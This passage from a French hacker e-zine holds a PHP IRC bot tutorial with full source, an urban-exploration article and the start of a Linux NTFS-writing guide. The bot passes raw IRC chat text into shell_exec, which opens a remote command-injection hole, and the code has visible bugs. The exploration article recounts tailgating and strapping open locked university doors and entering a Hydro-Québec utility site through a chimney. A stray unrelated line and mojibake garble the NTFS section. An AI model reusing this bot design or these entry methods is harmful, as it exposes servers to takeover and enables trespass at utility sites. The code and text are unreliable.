			$flag=FALSE;
			}		

		//validation du host
		//ok jsais le premier est pas mal bidon ;]
		if (!is_numeric($host))
			{
			if (count($ip) == 4)
				{
				if (is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
					{
					if($ip[0] >= 1 && $ip[0] <= 255 && $ip[1] >= 1 && $ip[1] <= 255 && $ip[2] >= 1 && $ip[2] <= 255 && $ip[3] >= 1 && $ip[3] <= 255 )
						{
						$flag=TRUE;
						}
					else 
						{
						$flag=FALSE;
						}
					}
				else
					{
					$flag=FALSE;
					}
				}
			else
				{
				$flag=FALSE;
				}
			}
		else 
			{
			$flag=FALSE;
			}

		return($flag);

		}


	évidament ca prend bcoup plus de place :|.


3) irc


	il sagit ici de parser le protocole irc qui nous est pitcher par le socket ouvert sur 
le serveur. Pour les besoins de la demonstration seul les fonctions de  base  on  ete parser, 
comme vous verrez larbre des possibles permet facilement dajouter  de  nouvelle  fonction  au 
parser sans entrez en conflit avec des scripts deja existant. le  parser  ne fait que catcher 
le protocole irc. Evidament une bonne connaissance du rfc irc (1459) est préférable pour bien 
comprendre cette partis. Pour ceux qui sont  trop  lazy  pour  taper rfc 1459 dans google, je 
vais ici expliquer le minimum pour etablir une connection avec un serveur irc.

telnet je vous pris.


telnet us.undernet.org 6667
Trying 207.172.156.252...
Connected to us.undernet.org.
Escape character is '^]'.
NOTICE AUTH :*** Looking up your hostname
NOTICE AUTH :*** Checking Ident
NOTICE AUTH :*** Found your hostname


ici le serveur attend quon sauthentifie

user usernameici x x :realnameici
nick usernickici

ensuite  le  serveur  nous  envois un ping au quel nous devons repondre pour officialiser  la 
connection.

PING :109186035
PONG :109186035

ensuite vous poorrez vous debrouiller dans relativement toute les situations vivable sur  irc 
à l'aide de 4 commande de base

JOIN
PART
PRIVMSG
MODE


exemple
join #hack.fr
privmsg #hack.fr :ta soeur suce des choux
part #hack.fr :sa suxx

et pour mode ca peu ressembler a ceci si vous avez les droits necessaire

mode #hack.fr +o wyzeman


bon,  je  crois  que  c'est  assez  pour  le rfc irc avant que les lecteurs qui se soit rendu 
jusqu'ici ne partent en courant. La technique que jai utiliser pour parser  le  protocole irc 
est  tres  simple,  en  gros  je separe chaques parti du buffer recu en ligne (\n) et en mots 
(" ") (un espace signifie que un mots fini et que un autre commence (ca lair facile dit comme 
ca... pi ca l'est aussi..). Ensuite  je  fais  analyser chaque premier mots de phrase afin de 
voir si il sagit d'un call  irc,  certaine  commande  irc demande une plus grande analyse. Ce 
besoin se retrouve surtout dans les commandes qui ne sont pas numeroté, la phrase  doit  donc 
etre étudier un peu plus dans sont ensemble pour la differencier  d'une  fausse  commande. La 
position de chaque mots dans la phrase évitera de se faire  arnaquer  par  une phrase crafter 
sur un chat de par exemple quelquun qui explique le  protocole irc (le premier mots de chaque 
phrase dite sur un chan netant pas le premier mots que votre client recois (privmsg chan/nick 
:blablablaba) le  premier  mots  d'une phrases dite sur irc se retrouvera donc a etre le 3eme 
mots  envoyer  via  le  protocole  irc  au  client.  Ainsi  donc,   aucun   risque   d'erreur 
d'interprétation. Un coup identifier chaque commande irc sera envoyer aux  différents scripts 
qui  soccuperont de faire le  necessaire  pour  les  traiters  Exeption  faite  des  commande 
necessaire a la connection qui elle sont hard coder  dans  le  script.  Chaque  script  etant 
executer et sont output sender sur le socket  permetant  ainsi d'interagir. Pour ce faire les 
scripts nont qua faire un echo  ou  un  print des commandes a renvoyers au serveur qui seront 
catcher par lanalyser de script et envoyer sur le socket. Les commandes envoyer au socket par 
les scripts doivent respecter le protocole irc sinon elle ne feront pas grand chose ;].




<?PHP

class	irc
	{
	// initalisation des variables global
	var $trueserv;	
	var $nick;
	var $ident;
	//pseudo constructeur
	function irc($ident, $realname, $nick)
		{
		$this->ident = $this->make_ident($ident, $realname);
		$this->nick = $this->make_nick($nick);		
		$this->trueserv = "dummy";
		}
	//parsing du RFC IRC
	function analyse($chanlist, $buffer, $scriptlist, $script, $link, $sock)
		{
		echo $buffer;
		//division du buffer en string
		$string = explode ("\n",$buffer);
		for ($x=0;$x<count($string);$x++)
			{
			//division de chaque mots de la string
			$word = explode(" ",$string[$x]);	  
			switch (strtolower($word[0]))
				{
				//someone or someting notice us
				case "notice":
				switch (strtolower($word[1]))
					{
					// look like an Ident query
					case "auth":
						switch (strtolower($word[2]))
							{
							// that really means nothing to me but...
							case ":***":
								switch (strtolower($word[3]))
									{
									//this really look like an ident querry.. lets see
									case "checking":
									   // strtolower retourne bien "ident" mais il est pas catcher par le case.
									   // ya p-e une limite au nombre de case imbriquer. 
									   //echo strtolower($word[4]);
									   //switch (strtolower($word[4]))
									  //	 {
									  	 //this really most be an Ident query, so why not answering it ?	
									 // 	 case "ident":
													 echo $this->ident;
													 echo $this->nick;
													 $sock->sending($link, $this->ident);
													 $sock->sending($link, $this->nick);
													 $script->spread("ident", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
										//		 break;
										//	 }
									   break;
									}					
								break;
							}
						break;
					}
					break;
				//PING? PONG! aka still alive check
				case "ping":
					$pong = $this->make_pong($word[1]);
					echo $pong;
					$sock->sending($link, $pong);
					$script->spread("ping", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
					break;
				//gestion des erreurs IRCD	
				case "ERROR":
					switch (strtolower($word[1]))
						{
						//lien au serveur terminer	
						case 	":closing link:":
							$script->spread("closed link", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
							break;
						}
					break;
				// motd
				case "001":
				  //echo "MOTD*******************************";
					$this->trueserver = ltrim($word[0],":");
					$script->spread("motd", $this->trueserv, $string[$x], $scriptlist, $link, $sock);				  
					break;
				// end of motd
				case "376":
				  //echo "EOMOTD******************************";
					$this->expand($sock, $link, $chanlist);
					$script->spread("eomotd", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
					break;
				case "PRIVMSG":
					$script->spread("prvmsg", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
					break;
				default:

					break;
				}
			}			
		}
//tweaking de l'ident	
	function make_ident($ident, $realname)
		{
		$ident = "USER ".$ident." X X :".$realname."\r\n";
		return($ident);	
		}
//tweaking du nick	
	function make_nick($nick)
		{
		$nick = "NICK ".$nick."\r\n";
		return($nick);	
		}
//tweaking du pong		
	function make_pong($ping)
		{
		$pong = "PONG ".ltrim(strtolower($ping), ":")."\r\n";
		return($pong);	
		}
//mass join		
	function expand($sock, $link, $chanlist)
		{
		for ($x=0;$x<count($chanlist);$x++)
			{
			$query = "JOIN $chanlist[$x]\r\n";
			echo $query;
			$sock->sending($link, $query);	
			}
		}			
	}
?>




4) script


	Il s'agit peu etre dune contradiction mais la parti la plus importante du  bot, celle 
qui genre les scripts, est étrangement une des plus petite et simple. Sa seul  fonction étant 
d'éxecuter l'ensemble des scripts à chaque event et d'envoyer  les  résultat de chaque script 
sur le socket. 


<?PHP

class script
	{
	//initialisation des variables
	var $ident;
 	var $nick;
  	var $chanlist;
	
	//pseudo constructeur
	function script($conf, $sock, $link)
		{	
		$this->host = "dummy";
		$this->chanlist = array();
		$this->ident = $conf['ident'];
		$this->nick	= $conf['nick'];		
		}	
	
	//execution des scripts et analyse des resultats
	function spread($event, $host, $string, $scriptlist, $link, $sock)
		{
		$host = $this->host;
		$ident = $this->ident;	
		$nick = $this->nick;				
		for ($x=0;$x<count($scriptlist);$x++)
			{
			$output = shell_exec("/usr/bin/php -q scripts/".$scriptlist[$x]." ".$host." ".$ident." ".$nick." ".$event." ".$string);
			echo $output;
			$sock->sending($link,$output);
			}
		}			
	}


?>



5) file système


	Le seul besoin actuel davoir une class file system dans ce bot est de  lire lensemble 
des scripts a éxecuter. Les dits script pourrons reutiliser cette classe  pour leur besoin ou 
en inventer une autre plus adapter. 


<?PHP
class wash
	{
	function wash()
		{
		}
  
  function lsfile($dir)
		{
		$x=0;
		$ls=opendir($dir);
		while(false !== ($lsdir = readdir($ls)))		
			{
		    if(!is_dir($dir."/".$lsdir))
				{
				//echo $lsdir."\r\n";
				$flist[$x]=$lsdir;
				$x++;
				}
			}
		return($flist);
		}		
	}
?>



voila, donc comme vous lavez vus a travers cette article, faire un bot "complet"  en  php est 
une  chose  facile  qui  peu  mener à un système éfficace et puissant. Pour ceux qui voudrais 
tester  le  bot  sans  se  taper  l'article, j'inclus ici à la fin l'ensemble des classes qui 
compose le bot. si quelqu'un à envie de continuer le devellopement de se bot, envoyer moi  un 
message a wyzeman@mindkind.org.




wyzebot,php begin

#!/usr/bin/php
<?PHP
/*
Wyzebot 1.0 
Projet de: Wyzeman@mindkind.org
but: faire un frame de bot iso IRC scriptable en php.
     le bot devras etre le plus minimaliste possible.
     toute fonction sera dans la mesure du possible
     gerrer par les scripts. 
     
codeur : wyzeman,
*/
set_time_limit(0);

//loading des modules du bot
include("core/socket.php");
include("core/irc.php");
include("core/script.php");
include("core/wash.php");
include("conf/general.conf.php");

//var $scriptlist = array();
//initialisation des objets
echo $conf['host']."\r\n";
echo $conf['port']."\r\n";
$sock = new sock($conf['host'], $conf['port']);
$link=$sock->con($conf['host'],$conf['port']);
$irc = new irc($conf['ident'], $conf['realname'], $conf['nick'], $conf['chanlist']);
$script = new script($conf, $sock, $link);
$wash = new wash();
$scriptlist = $wash->lsfile("scripts/");
for ($x=0;$x<count($scriptlist);$x++)
	{
	echo $scriptlist[$x]."\r\n";
	}
//loop "infini", mise en fonction du bot.
while(1)
	{
	sleep(5);
	//lecture du/des socket(s)
	$buffer = $sock->buffering($link);
	//parsing du RFC IRC et initialisation des scripts
	$irc->analyse($conf['chanlist'], $buffer, $scriptlist, $script, $link, $sock);
 	}
?>


wyzebot.php stop



conf/general.conf.php begin

<?PHP

$conf['host'] = "us.undernet.org";
$conf['port'] = 6667;	
$conf['ident'] = "shrug";
$conf['realname'] = "just do it";
$conf['nick'] = "Wyzebot";

$conf['chanlist'][0] = "#code.fr";
$conf['chanlist'][1] = "#hack.fr";
$conf['chanlist'][2] = "#linux.fr";


?>

conf/general.conf.php stop



core/irc.php start

<?PHP

class	irc
	{
	// initalisation des variables global
	var $trueserv;	
	var $nick;
	var $ident;
	//pseudo constructeur
	function irc($ident, $realname, $nick)
		{
		$this->ident = $this->make_ident($ident, $realname);
		$this->nick = $this->make_nick($nick);		
		$this->trueserv = "dummy";
		}
	//parsing du RFC IRC
	function analyse($chanlist, $buffer, $scriptlist, $script, $link, $sock)
		{
		echo $buffer;
		//division du buffer en string
		$string = explode ("\n",$buffer);
		for ($x=0;$x<count($string);$x++)
			{
			//division de chaque mots de la string
			$word = explode(" ",$string[$x]);	  
			switch (strtolower($word[0]))
				{
				//someone or someting notice us
				case "notice":
				switch (strtolower($word[1]))
					{
					// look like an Ident query
					case "auth":
						switch (strtolower($word[2]))
							{
							// that really means nothing to me but...
							case ":***":
								switch (strtolower($word[3]))
									{
									//this really look like an ident querry.. lets see
									case "checking":
									   // strtolower retourne bien "ident" mais il est pas catcher par le case.
									   // ya p-e une limite au nombre de case imbriquer. 
									   //echo strtolower($word[4]);
									   //switch (strtolower($word[4]))
									  //	 {
									  	 //this really most be an Ident query, so why not answering it ?	
									 // 	 case "ident":
													 echo $this->ident;
													 echo $this->nick;
													 $sock->sending($link, $this->ident);
													 $sock->sending($link, $this->nick);
													 $script->spread("ident", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
										//		 break;
										//	 }
									   break;
									}					
								break;
							}
						break;
					}
					break;
				//PING? PONG! aka still alive check
				case "ping":
					$pong = $this->make_pong($word[1]);
					echo $pong;
					$sock->sending($link, $pong);
					$script->spread("ping", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
					break;
				//gestion des erreurs IRCD	
				case "ERROR":
					switch (strtolower($word[1]))
						{
						//lien au serveur terminer	
						case 	":closing link:":
							$script->spread("closed link", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
							break;
						}
					break;
				// motd
				case "001":
				  //echo "MOTD*******************************";
					$this->trueserver = ltrim($word[0],":");
					$script->spread("motd", $this->trueserv, $string[$x], $scriptlist, $link, $sock);				  
					break;
				// end of motd
				case "376":
				  //echo "EOMOTD******************************";
					$this->expand($sock, $link, $chanlist);
					$script->spread("eomotd", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
					break;
				case "PRIVMSG":
					$script->spread("prvmsg", $this->trueserv, $string[$x], $scriptlist, $link, $sock);
					break;
				default:

					break;
				}
			}			
		}
//tweaking de l'ident	
	function make_ident($ident, $realname)
		{
		$ident = "USER ".$ident." X X :".$realname."\r\n";
		return($ident);	
		}
//tweaking du nick	
	function make_nick($nick)
		{
		$nick = "NICK ".$nick."\r\n";
		return($nick);	
		}
//tweaking du pong		
	function make_pong($ping)
		{
		$pong = "PONG ".ltrim(strtolower($ping), ":")."\r\n";
		return($pong);	
		}
//mass join		
	function expand($sock, $link, $chanlist)
		{
		for ($x=0;$x<count($chanlist);$x++)
			{
			$query = "JOIN $chanlist[$x]\r\n";
			echo $query;
			$sock->sending($link, $query);	
			}
		}			
	}
?>


core/irc.php stop

core/script.php start


<?PHP

class script
	{
	//initialisation des variables
	var $ident;
 	var $nick;
  	var $chanlist;
	
	//pseudo constructeur
	function script($conf, $sock, $link)
		{	
		$this->host = "dummy";
		$this->chanlist = array();
		$this->ident = $conf['ident'];
		$this->nick	= $conf['nick'];		
		}	
	
	//execution des scripts et analyse des resultats
	function spread($event, $host, $string, $scriptlist, $link, $sock)
		{
		$host = $this->host;
		$ident = $this->ident;	
		$nick = $this->nick;				
		for ($x=0;$x<count($scriptlist);$x++)
			{
			$output = shell_exec("/usr/bin/php -q scripts/".$scriptlist[$x]." ".$host." ".$ident." ".$nick." ".$event." ".$string);
			echo $output;
			$sock->sending($link, $output);
			}
		}			
	}


?>


core/script.php stop


core/socket.php start



<?php

class sock
	{
	//pseudo constructeur	
	function sock($host, $port)
		{
		if ($this->validate($host, $port))
			{	
			return(TRUE);
			}
		else
			{
			die ("config error");
			}
		}
	//verification (pour linstant tres basic des caracteres dentrer
	function validate($host, $port)
  		{
	  	if (is_numeric($port) || !is_numeric($host))
  			{
  			return(TRUE);
  			}
	  	else
  			{
  			return(FALSE);
  			}
  		}
	//connecter un socket		
	function con($host,$port)
		{
		$sock = fsockopen($host, $port);
		if (fsockopen)
			{
			return($sock);
			}
		else 
			{
			return(FALSE);
			}					
		}	
	//disconnecter un socket		
	function discon($sock)
		{
			
			if(fclose($sock))
				{
				return(TRUE);
				}
			else
				{
				return(FALSE);	
				}
		}	
	//lire le socket	
	function buffering($sock)
		{
		$buffer = fread($sock,32000);
		return($buffer);
		}
	//ecrire sur le socket
	function sending($sock, $word)
		{
		if(fwrite($sock, $word) === FALSE)
			{
			return(TRUE);
			}
		else
			{
			return(FALSE);
			}
		} 
		
	}
	

?> 


core/socket.php stop



core/wash.php start

<?PHP
class wash
	{
	function wash()
		{
		}
  
  function lsfile($dir)
		{
		$x=0;
		$ls=opendir($dir);
		while(false !== ($lsdir = readdir($ls)))		
			{
		    if(!is_dir($dir."/".$lsdir))
				{
				//echo $lsdir."\r\n";
				$flist[$x]=$lsdir;
				$x++;
				}
			}
		return($flist);
		}		
	}
?>

core/wash.php stop



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |                                                              \\_  \_ \   \\_ 1  + 
 || |                                                              \_ \   \\_  \_ \ 1   
 ||'|             http://pornoquebec.com/video/                      \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Parce que tout le monde se branle                                     ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[19]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[un affaire d'esploration urbaine]=\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: prommenons nous dans la ville pendant que sm y'est pas!   ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[      vn      ]=\:\ _//     
                                                  \__\________________________/__/ 


Urban Exploration


On  en  entend  peu  parler  et  il  arrive  que l'on en fasse sans s'en rendre compte, notre 
curiosité  étant  plus  forte  que  tout.   Le  terme  se  traduit évidemment en français par 
exploration urbaine mais bon le terme est rendu laid...  Pour cause de paresse  j'écrirai  UE 
à la place. 

On ne parle pas ici de se promener dans les grandes rues d'une ville mais bien dans les coins 
plus ou moins visités qui suscitent curiosité et où il n'y  est  pas  nécessairement  déclaré 
illégal d'y circuler sans autorisation.  Certaines places vont repousser  les  moins  tenaces 
comme les égouts et les conduits pluviaires (la ou l'eau de pluie est évacuée des rues etc.), 
d'autres qui ont le vertige iront pas vraiment sur un toit, le  Tracel  de  Cap-Rouge  ou  un 
pylône d'Hydro-Québec.

On  peut  donc  constater  ici  qu'il  faut  un  minimum  d'organisation/préparation pour une 
excursion.  On parle pas d'une simple séance de trashing (qui peut être  considéré  comme  de 
l'UE).  La santé avant tout...à plaies ouvertes dans un endroit souillé  on  peut  pogner  le 
tétanos donc je recommande fortement d'avoir ce vaccin à son  historique.   Aussi,  dépendant 
des conditions (et de l'endroit bien sûr), s'habiller chaudement ou avoir un  imper et/ou des 
bottes de pluie.  Une petite liste exhaustive de l'équipement qui pourrait être utile :

-Kodak numérique
-Imperméable
-Trousse de premiers soins
-Cellulaire
-GPS
-Crayon-papier ou laptop ou PDA/Pocket PC (laptop non recommandé sauf si c'est un Panasonic 
 ou dans quelques cas, IBM)
-Vélo ou char
-Trousse de lockpicking
-Plan et/ou trajet
-Jumelles
-Walkie-talkies (si vous êtes a plusieurs)

Bref c'est une activité généralement à la portée de tout le monde.  Quand je dis les plans ou 
un  trajet,  c'est  parce  qu'à certaines places il est facile de se perdre... et je parle en 
connaissance  de  cause :  un  bâtiment  désaffecté avec un réseau de tunnels, ça m'a pris 50 
minutes sortir de la.  Pour ce qui est du kit de lockpicking, je ne parle nullement  d'entrer 
par effraction dans un bâtiment affecté, mais plutôt de débarrer des vieux  cadenas  rouillés 
ou  des  accès  à  des  zones  désaffectées.   Bien  sûr tout est remis en place généralement 
après...

Le genre d'UE que je préconise et que je préfère, c'est fouiner les installations désertes et 
pas surveillées.  On en trouve souvent d'Hydro-Québec, Bell ou encore des stations de gestion 
de l'eau (épuration, égouts etc), qui sont plus rares.  Quand on dit que la sécurité physique 
des systèmes de gestion de services est l'un de leurs  points  faibles,  comme  les  systèmes 
SCADA.  

Effectivement,  quand  un  accès repose sur un simple cadenas ou une poignée de porte barrées 
sur  un  bâtiment  discret  dans  un  secteur  désert, à peu près toute personne motivée peut 
arriver  à  y  accéder.   Non,  c'est  pas  des  portes en bois, c'est blindé.  Je ne tentais 
nullement d'entrer par effraction mais simplement  de  voir si on peut y rentrer.  La réponse 
était oui, juste a monter sur le toit (ca  se  grimpe  bien) et passer par la cheminée.  bien 
sûr, il y a d'autres facons...  btw si vous voulez imager le tout, voir les pics jointes.

Ce  qui  est  intéressant avec ce genre de trucs c'est qu'on voit ou peuvent être les failles 
de  la  sécurité  physique  d'un  emplacement...  Comme un simple cadenas qui semble fermé et 
barré mais qui ne l'est pas :D

Une autre expérience intéressante, bien que ça peut sembler banal, c'était  à  l'ULaval.   Le 
soir du party de fin de session, à 3h30 AM, trop tard pour  prendre  la  bus  de  ville  pour 
rentrer, pas de lift, bref la merde.  J'ai décidé d'aller  à  l'Uni  voir si je pouvais aller 
dans un labo info, pour avoir  dequoi  a  bretter  en  attendant  les  premières  heures.  Me 
tentait surtout pas de rester  dehors a -15 donc j'ai tenté de prendre le réseau de tunnels : 
barré. Donc, je vais direct au  Pavillon deKoninck.. barré aussi.  J'essaie donc le Bonenfant 
et le Pouliot sans succès.  Je  vis  donc un garde de sécurité et je tentai d'y demander pour 
accéder  aux  locaux  d'info.  Il  m'a  demandé  pourquoi  je  voulais y aller.  J'ai répondu 
sincèrement : j'aimerais aller checker les horaires d'autobus  de  ville.  La sincérité a pas 
payé : l'accès est réservé uniquement à ceux qui ont des travaux à finir! So fuck that, quasi 
résigné pour aller passer la nuit au Subway, je passe devant le  Vachon  et  juste  de  même, 
quelqu'un  sort  de  la  porte  à  proximité...  BINGO,  je cours pour retenir la porte et je 
rentre... ;)  Sur le coup, aucune idée par où aller, je fais  un tour des couloirs principaux 
pour voir s'il y a des issues ou places  intéressantes,  pas  vraiment à part un local d'info 
que j'ai pas accès... Je tente d'aller  au  tunnel mais oups...gardes de sécurité... je prend 
un coke dans la machine à coke pour faire  mine de rien et dès qu'ils sont passés, je pars au 
tunnel.  Un petit  problème,  la  porte  est  barrée derriere moi!  Donc, à faire attention à 
l'avenir...  Vu qu'il n'y a pas de caméras alentours. je me permet de voir si les portes dans 
le petit couloir  sont toutes barrés...et bien non, il y en a une qui monte à l'étage du même 
pavillion  mais  je  décide  de  continuer  dans  les tunnels pour aller au deKoninck. Portes 
barrées...  On  sort  le  kit de lockpicking...sans succès alors on tente la méthode simple : 
une  strap  qu'on  passe  de  l'autre  coté  de la serrure pour la tirer et débarrer.  Access 
Granted et je file au lab info ek ma prox card sans probleme!

En  aucun  cas  il n'est recommandé de poser des actes de vandalisme, car il s'agit ici avant 
tout d'exploration,  d'observation  et d'analyse.  Comme on dit souvent, la sécurité physique 
est plus  importante  que  la  sécurité  logistique...  Dites-vous que la sécurité d'une zone 
désaffectée a de fortes chances de ressembler à celle d'une zone similaire qui ne l'est pas.  

Une de mes explorations les plus marquantes fut celle d'un terrain  d'hydro-Québec  où  il  y 
avait un bâtiment contenant des éléments de gestion du  réseau  électrique, et sur le terrain 
adjacent, une ancienne station de pompage et nettoyage  de  l'eau,  souterraine, qu'on voyait 
pas de l'extérieur.

Utilisez votre imagination et votre curiosité sera servie... mais pas forcément étanchée :)


any ? MSN : mh.daryaei@uac.edu.ir  (no mail)


P.S.: c4ndu jel sais que j'écris comme un journaliste pas besoin de préciser


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || | Pour ceux qui voudrais voir d'autre photo d'UE que celle   \\_  \_ \   \\_ -  : '
 ||`| incluse dans se e-zine, Eth0 vous offre sa collection      \_ \   \\_  \_ \ 1   
 || | personnel, disponible a l'addresse suivante :                \\_  \_ \   \\_ 1  + 
 || |                                                              \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |    http://eth0.illusionnetwork.org/gallery/Urban-Exploration     \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Une Gracieuseté de la communauté #Hack.fr                             ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[20]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[NTFS écriture possible avec nuX ?=\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[   fluxius    ]=\:\ _//     
                                                  \__\________________________/__/ 



              0001001000000100000001001000001000000100010000000000010
              010      __  __           __  _____                 000 
              000     / / / /___ ______/ /_|__  /   _____  ____   001  
              001    / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/  010
              000   / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /      000
              000  /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/       001
              010            http://hackever.n0ne.org             000
              0100010001000000100001001000001001000000010000010000100


1. Introduction :

Beaucoup  de  personnes  considèrent  le NTFS comme inviolable par le dangereux TuX, mais ils 
devraient éviter de penser trop fort...

En  effet,  Linux  lit parfaitement bien les partitions NTFS mais Ã  du mal Ã  écrire dessus. 
Nous allons Ã  travers différentes étapes, vous expliquez comment Ã©crire dans une partitions 
NTFS avec Linux.

Les administrateurs réseaux risquent d'Ãître bien déçus.

-----------------------------------------------------------------------------------------------

1.1 Lecture de la partition NTFS (récapitulatif) :

Comment je l'ai dis plus haut, Linux n'a aucuns problèmes Ã  lire les partitions  NTFS.  Ceci 
dit vérifier tout de même si le NTFS est reconnu.
  ________________________________
 |                                |
 | $ cat /proc/filesystems        |
 |________________________________|

CrÃ©er un point de montage :
   _____________________________________________________________
  |                                                            |
  | $ sudo mkdir /mnt/windobe                                  |
  | password :                                                 |
  | $ sudo mount /dev/hda1 /mnt/windobe -t ntfs -o umask=0222  |
  |____________________________________________________________|

Bon lÃ  vous devriez avoir accès Ã  vos fichier Windows sans le moindre soucis. Mais vous  ne 
pouvez pas écrire ? Ce n'est pas un problème.

1.2 Ecriture :

Alors  voilÃ , j'ai fais connaissance du projet Captive qui permet d'écrire sur une partition 
NTFS :-)
supportaient pas d?interface web,  vous  pouvez  p-e  toutefois  quand même vous connecter en
Ce  qu'il  faut  faire  avant  tout c'est de monter la partition sur un point de montage pour 
rechercher le fichier ntfs.sys  et  ntoskrnl.exe  après  avoir installer Captive. Téléchargez 
avant tout http://www.jankratochvil.net/project/captive/ .

Pour une installation généraliste :
  ____________________________________
 |                                    |
 | $ tar xzf captive-static-x.tar.gz  |
 | $ cd captive-static-x              |             
 | $ sudo ./install                   |
 |____________________________________|

Lorsque que le package est installé :
  __________________________________
 |                                  | 
 | $ sudo captive-install-acquire   |
 |__________________________________|


Bon lÃ  une fenêtre apprait et lÃ  indiquer la position des fichiers ntfs.sys et ntoskrnl.exe 
qui  sont  indispenssable  au fonctionnement de Captive. Si tout c'est bien passé vous pouvez 
enfin monter la partition :
  _________________________________
 |                                 | 
 | $ sudo mount /mnt/captive-X     |
 |_________________________________|

Pour  connaître  le  x  pas  la  peine  de faire de produit en croix ^^ vous avez juste Ã  le 
chercher :
  ______________________
 |                      |
 |  $ mount -a          |
 |______________________|


Si tout s'est bien déroulé dans /etc/fstab vous devriez avoir ça :

  __________________________________________________________________________
 |                                                                          |
 | .....//                                                                  |
